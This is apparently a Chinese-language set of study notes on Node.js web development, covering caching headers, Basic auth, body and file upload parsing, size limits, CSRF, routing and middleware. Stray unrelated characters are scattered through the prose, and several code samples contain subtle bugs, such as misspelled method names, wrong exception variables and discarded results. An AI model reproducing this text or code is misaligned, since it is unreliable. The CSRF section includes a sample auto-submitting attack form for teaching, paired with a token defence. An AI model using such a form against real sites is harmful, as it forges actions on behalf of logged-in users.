瀏覽器在收到ETag:‘83-1359871272000’這樣的響應(yīng)后街望,在下次的請(qǐng)求中,會(huì)將其放置在請(qǐng)求頭中:If-None-Match:"83-1359871272000"

盡管條件請(qǐng)求可以在文件內(nèi)容沒有修改的情況下節(jié)省帶寬弟跑,但是它依然會(huì)發(fā)起一個(gè)http請(qǐng)求灾前,使得客戶端依然會(huì)華一定時(shí)間來等待響應(yīng)∶霞可見最好的方案就是連條件請(qǐng)求都不用發(fā)起哎甲,那么我們?nèi)绾巫瞿啬枨茫课覀兛梢允褂?strong>服務(wù)器端程序在響應(yīng)內(nèi)容時(shí),讓瀏覽器明確地將內(nèi)容緩存起來炭玫。也就是在響應(yīng)里設(shè)置Expires或Catche-Control頭奈嘿,瀏覽器根據(jù)該值進(jìn)行緩存。

在http1.0時(shí)期吞加,在服務(wù)器端設(shè)置expires可以告知瀏覽器要緩存文件的內(nèi)容:

var handle = function (req, res) {
    fs.readFile(filename, function (err, file) {
        var expires = new Date();
        expires.setTime(expires.getTime() + 10 * 365 * 24 * 60 * 60 * 1000);
        res.setHeader("Expires", expires.toUTCString());
        res.writeHead(200, "Ok");
        res.end(file);
    });
};

expires是一個(gè)GMT格式的時(shí)間字符串裙犹,瀏覽器在接到這個(gè)過期值后,只要本地還存在這個(gè)緩存文件衔憨,在到期時(shí)間之前它都不會(huì)再發(fā)起請(qǐng)求叶圃。

YUI3的CDN實(shí)踐是緩存文件在10年后過期,但是expires存在時(shí)間誤差践图,也是就瀏覽器和服務(wù)器之間的時(shí)間不同步掺冠,造成緩存提前過期或者緩存沒有被清除的情況出現(xiàn)。因此码党,cache-control就作為一種解決方案出現(xiàn)了:

var handle = function (req, res) {
    fs.readFile(filename, function (err, file) {
        res.setHeader("Cache-Control", "max-age=" + 10 * 365 * 24 * 60 * 60 * 1000);
        res.writeHead(200, "Ok");
        res.end(file);
    });
};

cache-control通過設(shè)置max-age值德崭,來控制內(nèi)存。這個(gè)是一個(gè)過期最大時(shí)間闽瓢,不需要與服務(wù)器時(shí)間同步接癌。另外,cache-control還可以設(shè)置public扣讼、private缺猛、no-cache、no-store等能夠精確控制緩存的選項(xiàng)椭符。

由于http1.0不支持max-age荔燎,因此,需要對(duì)兩種緩存都做支持销钝,如果有咨,瀏覽器支持max-age,那么蒸健,max-age會(huì)覆蓋expires的值座享。

清除緩存:
緩存可以幫助節(jié)省帶寬,但是似忧,如果服務(wù)器更新了內(nèi)容渣叛,那么又無法通知瀏覽器更新,因此盯捌,我們要為緩存添加版本號(hào)淳衙,也就是在url中添加版本號(hào)。做法如下:

1.每次發(fā)布,路徑中都跟隨web應(yīng)用的版本號(hào):http://url.com/?v=20130501
2.每次發(fā)布箫攀,路徑中都跟隨該文件內(nèi)容的hash值: http://url.com/?hash=afadfadwe

大體來說肠牲,根據(jù)文件內(nèi)容的hash值進(jìn)行緩存淘汰會(huì)更加高效,因?yàn)槲募?nèi)容不一定隨著web應(yīng)用的版本而更新靴跛,而內(nèi)容沒有更新時(shí)缀雳,版本號(hào)的改動(dòng)導(dǎo)致的更新毫無意義,因此梢睛,以文件內(nèi)容形成的hash值更精準(zhǔn)俏险。

Basic認(rèn)證

Basic認(rèn)證是基于用戶名和密碼的一種身份認(rèn)證方式,不是業(yè)務(wù)上的登錄操作扬绪,是一種基于瀏覽器的認(rèn)證方法竖独。如果一個(gè)頁(yè)面需要basic認(rèn)證,它會(huì)檢查請(qǐng)求報(bào)文頭中的Authorization字段的內(nèi)容挤牛,該字段的認(rèn)證方式和加密值構(gòu)成:

$ curl -v "http://user:pass@www.baidu.com/"
> GET / HTTP/1.1
> Authorization: Basic dXNlcjpwYXNz
> User-Agent: curl/7.24.0 (x86_64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8r zlib/1.2.5
> Host: www.baidu.com
> Accept: */*

在Basic認(rèn)證中莹痢,它會(huì)將用戶和密碼部分組合:username:password,然后進(jìn)行base64編碼:

var encode = function (username, password) {
return new Buffer(username + ':' + password).toString('base64');
};

如果用戶首次訪問該網(wǎng)頁(yè)墓赴,url中也沒有認(rèn)證內(nèi)容竞膳,那么瀏覽器會(huì)響應(yīng)一個(gè)401未授權(quán)狀態(tài)碼:

function (req, res) {
    var auth = req.headers['authorization'] || '';
    var parts = auth.split(' ');
    var method = parts[0] || ''; // Basic
    var encoded = parts[1] || ''; // dXNlcjpwYXNz
    var decoded = new Buffer(encoded, 'base64').toString('utf-8').split(":");
    var user = decoded[0]; // user
    var pass = decoded[1]; // pass
    if (!checkUser(user, pass)) {
        res.setHeader('WWW-Authenticate', 'Basic realm="Secure Area"');
        res.writeHead(401);
        res.end();
    } else {
        handle(req, res);
    }
}

如果未認(rèn)證,瀏覽器會(huì)彈出對(duì)話框:

瀏覽器彈出的交互式提交認(rèn)證信息的對(duì)話框

當(dāng)認(rèn)證通過诫硕,服務(wù)器端響應(yīng)200狀態(tài)碼后坦辟,瀏覽器會(huì)保存用戶名和密碼口令,在后續(xù)的請(qǐng)求中都攜帶Authorization信息章办。

basic認(rèn)證是以base64加密后的明文方式在網(wǎng)上傳輸?shù)娘弊撸踩暂^低,因此藕届,建議配合https使用挪蹭,為了改進(jìn)basic認(rèn)證,在rfc 2069規(guī)范中休偶,提出了摘要訪問認(rèn)證梁厉,加入了服務(wù)器端隨機(jī)數(shù)來保護(hù)認(rèn)證過程,大家可以自行g(shù)oogle踏兜。

數(shù)據(jù)上傳

上一節(jié)的內(nèi)容基本上都是操作http請(qǐng)求報(bào)文頭的词顾,進(jìn)一步說,更多的都是適用于get請(qǐng)求的碱妆,頭部報(bào)文中的內(nèi)容已經(jīng)能夠讓服務(wù)器端進(jìn)行大多數(shù)業(yè)務(wù)邏輯操作了肉盹,但是單純的頭部報(bào)文無法攜帶大量的數(shù)據(jù),在業(yè)務(wù)中山橄,我們往往需要接收一些數(shù)據(jù)垮媒,比如表單提交、文件提交航棱、json上傳睡雇、xml上傳等。

node的http模塊只對(duì)http報(bào)文的頭部進(jìn)行了解析饮醇,然后觸發(fā)request事件它抱。如果請(qǐng)求中還帶有內(nèi)容部分(如:post請(qǐng)求,它具有報(bào)頭和內(nèi)容)朴艰,內(nèi)容部分需要用戶自行接收和解析观蓄。通過報(bào)頭的Transfer
-Encoding或Content-Length即可判斷請(qǐng)求中是否帶有內(nèi)容:

var hasBody = function(req) {
     return 'transfer-encoding' in req.headers || 'content-length' in req.headers;
};

在http_parser解析報(bào)頭結(jié)束后,報(bào)文內(nèi)容部分會(huì)通過data事件觸發(fā)祠墅,我們只需以流的方式處理即可:

function (req, res) {
    if (hasBody(req)) {
        var buffers = [];
        req.on('data', function (chunk) {
            buffers.push(chunk);
        });
        req.on('end', function () {
            req.rawBody = Buffer.concat(buffers).toString();
            handle(req, res);
        });
    } else {
        handle(req, res);
    }
}

接收到的buffer列表將會(huì)轉(zhuǎn)化為一個(gè)buffer對(duì)象侮穿,在轉(zhuǎn)碼為字符串,然后掛載在req.rawBody上毁嗦。

表單數(shù)據(jù)

我們看看比較常見的表單數(shù)據(jù)處理:

<form action="/upload" method="post">
     <label for="username">Username:</label> <input type="text" name="username" id="username" />
     <br />
     <input type="submit" name="submit" value="Submit" />
</form>

默認(rèn)的表單提交,請(qǐng)求頭中的content-type字段值為application/x-www-form-urlencoded:

Content-Type: application/x-www-form-urlencoded

報(bào)文體的內(nèi)容跟查詢字符串相同,例如:foo=bar&baz=val

我們可以使用querystring來解析一下征绸,并將數(shù)據(jù)掛載到body上(掛載在哪里都不重要赖晶,這個(gè)body是協(xié)議的約定):

var handle = function (req, res) {
    if (req.headers['content-type'] === 'application/x-www-form-urlencoded') {
        req.body = querystring.parse(req.rawBody);
    }
    todo(req, res);
};

其他格式

根據(jù)content-type來區(qū)分?jǐn)?shù)據(jù)編解碼的類型:content-type=application/json或者content-type=application/xml。

注意:content-type還可以附帶編碼信息腔长,Content-Type: application/json; charset=utf-8,我們通過下邊的程序進(jìn)行區(qū)分:

var mime = function (req) {
var str = req.headers['content-type'] || '';
return str.split(';')[0];
};

json

解析并響應(yīng)json

var handle = function (req, res) {
    if (mime(req) === 'application/json') {
        try {
            req.body = JSON.parse(req.rawBody);
        } catch (e) {
            // 異常內(nèi)容袭祟,響應(yīng)Bad request
            res.writeHead(400);
            res.end('Invalid JSON');
            return;
        }
    }
    todo(req, res);
};

xml

解析并響應(yīng)xml,使用外部庫(kù)xml2js

var xml2js = require('xml2js');
var handle = function (req, res) {
    if (mime(req) === 'application/xml') {
        xml2js.parseString(req.rawBody, function (err, xml) {
            if (err) {
                // 異常內(nèi)容,響應(yīng)Bad request
                res.writeHead(400);
                res.end('Invalid XML');
                return;
            }
            req.body = xml;
            todo(req, res);
        });
    }
};

附件上傳

默認(rèn)表單數(shù)據(jù)為urlencoded編碼格式捞附,帶文件類型(file類型)的表單巾乳,需要指定enctype = multipart/form-data:

<form action="/upload" method="post" enctype="multipart/form-data">
    <label for="username">Username:</label> <input type="text" name="username" id="username" />
    <label for="file">Filename:</label> <input type="file" name="file" id="file" />
    <br />
    <input type="submit" name="submit" value="Submit" />
</form>

此時(shí),瀏覽器構(gòu)造報(bào)文頭的動(dòng)作就不一樣了:

Content-Type: multipart/form-data; boundary=AaB03x
Content-Length: 18231

其中,boundary=AaB03x指定的是每部分內(nèi)容的分界符鸟召,AaB03x是隨機(jī)生成的一段字符串想鹰,報(bào)文體的內(nèi)容將通過在它前面添加--進(jìn)行分割,報(bào)文結(jié)束時(shí)药版,在它的前后都加上--表示結(jié)束辑舷。content-length表示報(bào)文體的實(shí)際長(zhǎng)度。

我們接下來比較一下槽片,先看看普通表單生成的報(bào)文體是什么樣子的:

--AaB03x\r\n
Content-Disposition: form-data; name="username"\r\n
\r\n
Jackson Tian\r\n

我們?cè)僖詡鬏攛.js文件為例何缓,來看看文件類型的報(bào)文頭樣式:

--AaB03x\r\n
Content-Disposition: form-data; name="file"; filename="x.js"\r\n
Content-Type: application/javascript\r\n
\r\n
... contents of x.js ...
--AaB03x--

我們來增加不同類型數(shù)據(jù)的判斷:

function (req, res) {
    if (hasBody(req)) {
        var done = function () {
            handle(req, res);
        };
        if (mime(req) === 'application/json') {
            parseJSON(req, done);
        } else if (mime(req) === 'application/xml') {
            parseXML(req, done);
        } else if (mime(req) === 'multipart/form-data') {
            parseMultipart(req, done);
        }
    } else {
        handle(req, res);
    }
}

formidable模塊

文件上傳是現(xiàn)在的web應(yīng)用非常常見的業(yè)務(wù)類型(例如,圖片上傳)

因此还栓,我們使用formidable模塊來處理這種業(yè)務(wù)碌廓。

var formidable = require('formidable');
function (req, res) {
    if (hasBody(req)) {
        if (mime(req) === 'multipart/form-data') {
            var form = new formidable.IncomingForm();
            form.parse(req, function (err, fields, files) {
                req.body = fields;
                req.files = files;
                handle(req, res);
            });
        }
    } else {
        handle(req, res);
    }
}

我們可以看到,body接收的是fields字段剩盒,files接收的是files字段

數(shù)據(jù)上傳與安全

由于node是基于js書寫的谷婆,因此,前端代碼可以向node注入js文件,來動(dòng)態(tài)執(zhí)行纪挎,這看起來非称谄叮可怕。在此异袄,我們要來說說安全的問題通砍,主要涉及內(nèi)存和CSRF。

內(nèi)存

攻擊者可以提交大量數(shù)據(jù)烤蜕,然后吃光讓服務(wù)器端的內(nèi)存封孙。因此,我們需要解決此類問題:

1.限制上傳內(nèi)容的大小讽营,一旦超過限制虎忌,停止接收數(shù)據(jù),并響應(yīng)400狀態(tài)碼橱鹏。
2.通過流式解析呐籽,將數(shù)據(jù)流導(dǎo)向磁盤中,node只保留文件路徑等小數(shù)據(jù)蚀瘸。(我們基于connect中間件來進(jìn)行上傳數(shù)據(jù)量的限制狡蝶,先判斷content-length,然后贮勃,再每次讀數(shù)據(jù)贪惹,判斷數(shù)據(jù)大小)

var bytes = 1024;
function (req, res) {
    var received = 0,
    var len = req.headers['content-length'] ? parseInt(req.headers['content-length'], 10) : null;
    // 如果內(nèi)容超過長(zhǎng)度限制寂嘉,返回請(qǐng)求實(shí)體過長(zhǎng)的狀態(tài)碼
    if (len && len > bytes) {
        res.writeHead(413);
        res.end();
        return;
    }

    // limit
    req.on('data', function (chunk) {
        received += chunk.length;
        if (received > bytes) {
            // 停止接收數(shù)據(jù)奏瞬,觸發(fā)end()
            req.destroy();
        }
    });
    handle(req, res);
};

CSRF

CSRF = Cross-Site Request Forgery,跨站請(qǐng)求偽造泉孩。前文提及了服務(wù)器端與客戶端通過cookie來標(biāo)識(shí)和認(rèn)證用戶硼端,然后通過session來完成用戶的認(rèn)證。CSRF可以在不知道session_id的前提下寓搬,完成攻擊行為珍昨。

我們通過一個(gè)留言程序來了解這種攻擊行為:

function (req, res) {
    var content = req.body.content || '';
    var username = req.session.username;
    var feedback = {
        username: username,
        content: content,
        updatedAt: Date.now()
    };
    db.save(feedback, function (err) {
        res.writeHead(200);
        res.end('Ok');
    });
}

此時(shí),攻擊者發(fā)現(xiàn)了這個(gè)漏洞句喷,然后再另外一個(gè)網(wǎng)站構(gòu)造一個(gè)表單提交:

<form id="test" method="POST" action="http://domain_a.com/guestbook">
    <input type="hidden" name="content" value="vim好用" />
</form>
    <script type="text/javascript">
        $(function () {
            $("#test").submit();
        });
</script>

攻擊者只需要引誘已經(jīng)登錄的用戶訪問這個(gè)網(wǎng)站就可以獲得用戶的session了镣典,服務(wù)器程序,根本無法判斷是不同的網(wǎng)站發(fā)出的請(qǐng)求唾琼。這樣兄春,攻擊就完成了,如果是轉(zhuǎn)賬接口的話锡溯,那將非常危險(xiǎn)赶舆。

解決CSRF提交數(shù)據(jù)哑姚,可以通過添加隨機(jī)值的方式進(jìn)行,也就是為每個(gè)請(qǐng)求的用戶芜茵,在session中賦予一個(gè)隨機(jī)值:

var generateRandom = function (len) {
    return crypto.randomBytes(Math.ceil(len * 3 / 4))
        .toString('base64')
        .slice(0, len);
};

-------------------
var token = req.session._csrf || (req.session._csrf = generateRandom(24));

頁(yè)面渲染過程中叙量,將這個(gè)_csrf值告知前端:

<form id="test" method="POST" action="http://domain_a.com/guestbook">
    <input type="hidden" name="content" value="vim好" />
    <input type="hidden" name="_csrf" value="< =_csrf >" /> % %
</form>

由于該值是一個(gè)隨機(jī)值,攻擊者構(gòu)造出相同的隨機(jī)值難度相當(dāng)大夕晓,所以,只需要在接收端做一次校驗(yàn)就能輕松防止csrf

function (req, res) {
    var token = req.session._csrf || (req.session._csrf = generateRandom(24));
    var _csrf = req.body._csrf;
    if (token !== _csrf) {
        res.writeHead(403);
        res.end("禁止訪問");
    } else {
        handle(req, res);
    }
}

路由解析

我記得兩年前悠咱,跟一個(gè)老派的程序員蒸辆。聊路由的問題,大哥直接問析既,你說的這個(gè)是啥躬贡?是路由器嗎?別整那些沒用的......于是眼坏,聊天戛然而止拂玻。這也讓我有了兩個(gè)思考,其一宰译,就是中國(guó)的許多程序員對(duì)于路由的概念還很淺薄檐蚜,另外,就是作為程序員沿侈,真的是一個(gè)學(xué)無止境的職業(yè)闯第。本節(jié)涉及三個(gè)方面:文件路徑、MVC和restful......

文件路徑型路由

1.靜態(tài)文件
直接用url等方式訪問
2.動(dòng)態(tài)文件
如asp缀拭、php咳短。

在node中,由于前后端都是.js蛛淋,因此咙好,我們不用這種判斷后綴的方式進(jìn)行腳本解析和執(zhí)行。

mvc

在mvc之前褐荷,主流的處理方式都是通過文件路徑進(jìn)行處理勾效,甚至以為這才是web的常態(tài)(IT界真的是學(xué)無止境呀),直到有一天叛甫,程序員發(fā)現(xiàn)用戶請(qǐng)求的URL路徑原來可以跟具體腳本所在的路徑?jīng)]有任何關(guān)系葵第,于是mvc模式就營(yíng)運(yùn)而生了。

mvc

mvc分為三個(gè)步驟:

1.路由解析合溺,根據(jù)url尋找對(duì)應(yīng)的控制器和行為卒密,根據(jù)url做路由映射,有兩種方式棠赛,一種是手工關(guān)聯(lián)映射哮奇,另一種是自然關(guān)聯(lián)映射膛腐。前者會(huì)有一個(gè)對(duì)應(yīng)的路由文件來將url映射到對(duì)應(yīng)的控制器,后者沒有這樣的文件鼎俘。
2.行為調(diào)用相關(guān)的處理器哲身,進(jìn)行數(shù)據(jù)操作
3.數(shù)據(jù)操作結(jié)束后,調(diào)用視圖和相關(guān)數(shù)據(jù)進(jìn)行頁(yè)面渲染贸伐,并輸出到客戶端

在此勘天,我們?cè)敿?xì)說說路由解析

手工映射

手工映射需要手工配置路由,它對(duì)url幾乎沒有限制捉邢。我們來看下邊的例子:
1.路由

/user/setting
/setting/user

2.控制器

exports.setting = function (req, res) {
// TODO
};

3.映射方法
也就是use

var routes = [];
var use = function (path, action) {
     routes.push([path, action]);
};

4.判斷路由
我們?cè)谌肟诔绦蛑信袛鄒rl脯丝,然后執(zhí)行對(duì)應(yīng)的邏輯,于是就完成了基本的路由映射過程:

function (req, res) {
    var pathname = url.parse(req.url).pathname;
    for (var i = 0; i < routes.length; i++) {
        var route = routes[i];
        if (pathname === route[0]) {
            var action = route[1];
            action(req, res);
            return;
        }
    }
    // 處理404請(qǐng)求
    handle404(req, res);
}

5.路由分配

use('/user/setting', exports.setting);
use('/setting/user', exports.setting);
use('/setting/user/jacksontian', exports.setting);

正則匹配

對(duì)于存在參數(shù)的路由伏伐,我們使用正則匹配宠进,這樣的路由樣式如下:

use('/profile/:username', function (req, res) {
// TODO
});

我們寫一個(gè)正則表達(dá)式的程序:

var pathRegexp = function (path) {
    path = path
        .concat(strict ? '' : '/?')
        .replace(/\/\(/g, '(?:/')
        .replace(/(\/)?(\.)?:(\w+)(?:(\(.*?\)))?(\?)?(\*)?/g, function (_, slash, format, key, capture,
            optional, star) {
            slash = slash || '';
            return ''
                + (optional ? '' : slash)
                + '(?:'
                + (optional ? slash : '')
                + (format || '') + (capture || (format && '([^/.]+?)' || '([^/]+?)')) + ')'
                + (optional || '')
                + (star ? '(/*)?' : '');
        })
        .replace(/([\/.])/g, '\\$1')
        .replace(/\*/g, '(.*)');
    return new RegExp('^' + path + '$');
}

這個(gè)程序的作用是完成如下匹配

/profile/:username => /profile/jacksontian, /profile/hoover
/user.:ext => /user.xml, /user.json

然后,我們重新調(diào)整use部分的程序:

var use = function (path, action) {
    routes.push([pathRegexp(path), action]);
};

function (req, res) {
    var pathname = url.parse(req.url).pathname;
    for (var i = 0; i < routes.length; i++) {
        var route = routes[i];
        // 正則匹配
        if (route[0].exec(pathname)) {
            var action = route[1];
            action(req, res);
            return;
        }
    }
    // 處理404請(qǐng)求
    handle404(req, res);
}

參數(shù)解析

我們希望在業(yè)務(wù)中可以這樣處理數(shù)據(jù):

use('/profile/:username', function (req, res) {
var username = req.params.username;
// TODO
});

那么第一步設(shè)這樣的:

var pathRegexp = function (path) {
    var keys = [];
    path = path
        .concat(strict ? '' : '/?')
        .replace(/\/\(/g, '(?:/')
        .replace(/(\/)?(\.)?:(\w+)(?:(\(.*?\)))?(\?)?(\*)?/g, function (_, slash, format, key, capture,
            optional, star) {
            // 將匹配到的鍵值保存起來
            keys.push(key);
            slash = slash || '';
            return ''
                + (optional ? '' : slash)
                + '(?:'
                + (optional ? slash : '')
                + (format || '') + (capture || (format && '([^/.]+?)' || '([^/]+?)')) + ')'
                + (optional || '')
                + (star ? '(/*)?' : '');
        })
        .replace(/([\/.])/g, '\\$1')
        .replace(/\*/g, '(.*)');
    return {
        keys: keys,
        regexp: new RegExp('^' + path + '$')
    };
}

我們將根據(jù)抽取的鍵值和實(shí)際的url得到鍵值匹配到的實(shí)際值藐翎,并設(shè)置req.params

function (req, res) {
    var pathname = url.parse(req.url).pathname;
    for (var i = 0; i < routes.length; i++) {
        var route = routes[i];
        // 正則匹配
        var reg = route[0].regexp;
        var keys = route[0].keys;
        var matched = reg.exec(pathname);
        if (matched) {
            // 抽取具體值
            var params = {};
            for (var i = 0, l = keys.length; i < l; i++) {
                var value = matched[i + 1];
                if (value) {
                    params[keys[i]] = value;
                }
            }
            req.params = params;
            var action = route[1];
            action(req, res);
            return;
        }
    }
    // 處理404請(qǐng)求
    handle404(req, res);
}

現(xiàn)在材蹬,我們就可以從req.query、req.body和req.params中得到數(shù)據(jù)啦

自然映射

因?yàn)槁酚商鄷?huì)造成代碼閱讀和書寫的難度增加吝镣,因此堤器,有人提出亂用路由不如無路由,實(shí)際上末贾,并非沒有路由吼旧,而是路由按一種約定的方式自然而然地實(shí)現(xiàn)了路由,而無需去維護(hù)路由映射未舟。不過這種方式相對(duì)來說比較死板圈暗,需要分情況去開發(fā)。

/controller/action/param1/param2/param3

function (req, res) {
    var pathname = url.parse(req.url).pathname;
    var paths = pathname.split('/');
    var controller = paths[1] || 'index';
    var action = paths[2] || 'index';
    var args = paths.slice(3);
    var module;
    try {
        // require的緩存機(jī)制使得只有第一次是阻塞的
        module = require('./controllers/' + controller);
    } catch (ex) {
        handle500(req, res);
        return;
    }
    var method = module[action]
    if (method) {
        method.apply(null, [req, res].concat(args));
    } else {
        handle500(req, res);
    }
}

自然映射在php的codeigniter中廣泛使用裕膀,在node中员串,實(shí)現(xiàn)也很簡(jiǎn)單。我們可以根據(jù)需要來選擇不同的路由方式昼扛。

RESTful

mvc模式大行其道很多年寸齐,直到RESTful的流行,大家才意識(shí)到url也可以設(shè)計(jì)的很規(guī)范抄谐,請(qǐng)求方法也能作為邏輯分發(fā)的單元渺鹦。
RESTful = Representational State Transfer,也就是表現(xiàn)層狀態(tài)轉(zhuǎn)化蛹含,符合REST規(guī)范的設(shè)計(jì)毅厚,我們稱之為RESTful設(shè)計(jì),它的設(shè)計(jì)哲學(xué)主要將服務(wù)器端提供的內(nèi)容實(shí)體看做一個(gè)資源浦箱,并表現(xiàn)在url上吸耿。例如地址如下:

/users/jacksontian

這個(gè)地址代表了一個(gè)資源祠锣,對(duì)這個(gè)資源的操作,主要體現(xiàn)在http請(qǐng)求方法上咽安,不是體現(xiàn)在url上伴网,過去我們對(duì)用戶的增刪改查或許是這樣設(shè)計(jì)的:

POST /user/add?username=jacksontian
GET /user/remove?username=jacksontian
POST /user/update?username=jacksontian
GET /user/get?username=jacksontian

RESTful的設(shè)計(jì)則是這樣的:

POST /user/jacksontian
DELETE /user/jacksontian
PUT /user/jacksontian
GET /user/jacksontian

對(duì)于資源類型,過去是這樣來處理的:

GET /user/jacksontian.json
GET /user/jacksontian.xml

在RESTful中則是這樣來處理妆棒,根據(jù)請(qǐng)求報(bào)文頭中的Accept和服務(wù)器端的支持來決定:

Accept: application/json,application/xml

為了支持RESTful這種方式澡腾,應(yīng)該處理Accept,并在響應(yīng)報(bào)文中糕珊,通過Content-type字段告知客戶端是什么格式:

Content-Type: application/json

具體格式动分,我們稱之為具體的表現(xiàn),所以REST的設(shè)計(jì)就是放接,通過URL設(shè)計(jì)資源刺啦、請(qǐng)求方法定義資源的操作留特,通過Accept決定資源的表現(xiàn)形式纠脾。RESTful與mvc相輔相成,RESTful將http請(qǐng)求方法也加入了路由的過程蜕青,以及在url路徑上體現(xiàn)得更資源化苟蹈。

請(qǐng)求方法

我們修改一下之前寫的use方法,來支持RESTful

var routes = { 'all': [] };
var app = {};
app.use = function (path, action) {
    routes.all.push([pathRegexp(path), action]);
};
['get', 'put', 'delete', 'post'].forEach(function (method) {
    routes[method] = [];
    app[method] = function (path, action) {
        routes[method].push([pathRegexp(path), action]);
    };
})

//增加用戶
app.post('/user/:username', addUser);
// 刪除用戶
app.delete('/user/:username', removeUser);
// 修改用戶
app.put('/user/:username', updateUser);
// 查詢用戶
app.get('/user/:username', getUser);

然后右核,我們修改一下匹配的部分:

var match = function (pathname, routes) {
    for (var i = 0; i < routes.length; i++) {
        var route = routes[i];
        // 正則匹配
        var reg = route[0].regexp;
        var keys = route[0].keys;
        var matched = reg.exec(pathname);
        if (matched) {
            //抽取具體值
            var params = {};
            for (var i = 0, l = keys.length; i < l; i++) {
                var value = matched[i + 1];
                if (value) {
                    params[keys[i]] = value;
                }
            }
            req.params = params;
            var action = route[1];
            action(req, res);
            return true;
        }
    }
    return false;
};

然后慧脱,再來修改一下分發(fā)部分:

function (req, res) {
    var pathname = url.parse(req.url).pathname;
    // 將請(qǐng)求方法變?yōu)樾?    var method = req.method.toLowerCase();
    if (routes.hasOwnPerperty(method)) {
        // 根據(jù)請(qǐng)求方法分發(fā)
        if (match(pathname, routes[method])) {
            return;
        } else {
            // 如果路徑?jīng)]有匹配成功,嘗試讓all()來處理
            if (match(pathname, routes.all)) {
                return;
            }
        }
    } else {
        // 直接讓all()來處理
        if (match(pathname, routes.all)) {
            return;
        }
    }
    // 處理404請(qǐng)求
    handle404(req, res);
}

RESTful模式以其輕量的設(shè)計(jì)贺喝,可以更好的適應(yīng)業(yè)務(wù)邏輯前端化和客戶端多樣化的需求菱鸥,通過RESTful服務(wù)可以適應(yīng)移動(dòng)端、PC端和各種客戶端的請(qǐng)求與響應(yīng)躏鱼。

中間件(middleware)

我對(duì)于中間件的定義很簡(jiǎn)單氮采,中間件就是用于簡(jiǎn)化和隔離基礎(chǔ)功能與業(yè)務(wù)邏輯的切面式代碼片段。換句話說染苛,中間件既不屬于node鹊漠,也不屬于我們寫的業(yè)務(wù)代碼,它是獨(dú)立存在的一層茶行,甚至幾層躯概。中間件封裝了底層細(xì)節(jié),為上層提供更方便的服務(wù)畔师。(類似于java的filter的工作原理)

中間件的工作模型

我們之前寫了很多基礎(chǔ)功能娶靡,這些其實(shí)都是中間件,那么看锉,基于web的服務(wù)固蛾,我們的中間件的上下文就是請(qǐng)求對(duì)象和響應(yīng)對(duì)象结执。

// querystring解析中間件
var querystring = function (req, res, next) {
    req.query = url.parse(req.url, true).query;
    next();
};
// cookie解析中間件
var cookie = function (req, res, next) {
    var cookie = req.headers.cookie;
    var cookies = {};
    if (cookie) {
        var list = cookie.split(';');
        for (var i = 0; i < list.length; i++) {
            var pair = list[i].split('=');
            cookies[pair[0].trim()] = pair[1];
        }
    }
    req.cookies = cookies;
    next();
};

var middleware = function (req, res, next) {
// TODO
next();
}

按照這種設(shè)計(jì),我們可以非嘲快速的開發(fā)出中間件:

app.use('/user/:username', querystring, cookie, session, function (req, res) {
// TODO
});

根據(jù)這個(gè)原理献幔,我們來修改use:

app.use = function (path) {
    var handle = {
        // 第一個(gè)參數(shù)作為路徑
        path: pathRegexp(path),
        // 其他的都是處理單元
        stack: Array.prototype.slice.call(arguments, 1)
    };
    routes.all.push(handle);
};

將改進(jìn)后的use()方法將中間件都存進(jìn)了stack數(shù)組中保存起來,等待匹配后觸發(fā)執(zhí)行趾诗,由于結(jié)構(gòu)發(fā)生改變蜡感,那么我們的匹配部分也需要進(jìn)行修改:

var match = function (pathname, routes) {
    for (var i = 0; i < routes.length; i++) {
        var route = routes[i];
        // 正則匹配
        var reg = route.path.regexp;
        var matched = reg.exec(pathname);
        if (matched) {
            //抽象具體值
            // 代碼?省略
            // 將中間件數(shù)組交給handle()方法處理
            handle(req, res, route.stack);
            return true;
        }
    }
    return false;
};

var handle = function (req, res, stack) {
    var next = function () {
        // 從stack數(shù)組中取出中間件并執(zhí)行
        var middleware = stack.shift();
        if (middleware) {
            // 傳入next()函數(shù)自身,使中間件能夠執(zhí)行結(jié)束后遞歸
            middleware(req, res, next);
        }
    };
    // 啟動(dòng)執(zhí)行
    next();
};

為每個(gè)路由都配置中間件恃泪,并不是好的設(shè)計(jì)郑兴,我們可以為每個(gè)路由設(shè)置全部的路由:

app.use(querystring);
app.use(cookie);
app.use(session);
app.get('/user/:username', getUser);
app.put('/user/:username', authorize, updateUser);

我們進(jìn)一步修改use

app.use = function (path) {
    var handle;
    if (typeof path === 'string') {
        handle = {
            // 第一個(gè)數(shù)作為路徑
            path: pathRegexp(path),
            // 其他的都是處理單元
            stack: Array.prototype.slice.call(arguments, 1)
        };
    } else {
        handle = {
            //第一個(gè)參數(shù)作為路徑
            path: pathRegexp('/'),
            // 其他的都是處理單元
            stack: Array.prototype.slice.call(arguments, 0)
        };
    }
    routes.all.push(handle);
};

我們修改匹配方式:

var match = function (pathname, routes) {
    var stacks = [];
    for (var i = 0; i < routes.length; i++) {
        var route = routes[i];
        // 正則匹配
        var reg = route.path.regexp;
        var matched = reg.exec(pathname);
        if (matched) {
            // 抽取具體值
            // 代碼?省略
            // 將中間件都保存起來
            stacks = stacks.concat(route.stack);
        }
    }
    return stacks;
};

再修改分發(fā)部分:

function (req, res) {
    var pathname = url.parse(req.url).pathname;
    // 將請(qǐng)求方法變?yōu)樾?    var method = req.method.toLowerCase();
    // 獲取all()方法里的中間件
    var stacks = match(pathname, routes.all);
    if (routes.hasOwnPerperty(method)) {
        // 根據(jù)請(qǐng)求方法分發(fā),獲取相關(guān)的中間件
        stacks.concat(match(pathname, routes[method]));
    }
    if (stacks.length) {
        handle(req, res, stacks);
    } else {
        // 處理404請(qǐng)求
        handle404(req, res);
    }
}

異常處理

我們?yōu)閚ext添加err

var handle = function (req, res, stack) {
    var next = function (err) {
        if (err) {
            return handle500(err, req, res, stack);
        }
        // 從stack數(shù)組中取出中間件并執(zhí)行
        var middleware = stack.shift();
        if (middleware) {
            // 傳入next()函數(shù)自身贝乎,使中間件能夠執(zhí)行結(jié)束后遞歸
            try {
                middleware(req, res, next);
            } catch (ex) {
                next(err);
            }
        }
    };
    // 啟動(dòng)執(zhí)行
    next();
};

var session = function (req, res, next) {
    var id = req.cookies.sessionid;
    store.get(id, function (err, session) {
        if (err) {
            // 將異常通過next()傳遞
            return next(err);
        }
        req.session = session;
        next();
    });
};

接下來情连,我們處理一下中間件的程序,讓其支持?jǐn)?shù)組式的錯(cuò)誤收集:

var middleware = function (err, req, res, next) {
// TODO
next();
};

app.use(function (err, req, res, next) {
// TODO
});

最后览效,我們?cè)黾渝e(cuò)誤處理中間件:

var handle500 = function (err, req, res, stack) {
    // 選取異常處理中間件
    stack = stack.filter(function (middleware) {
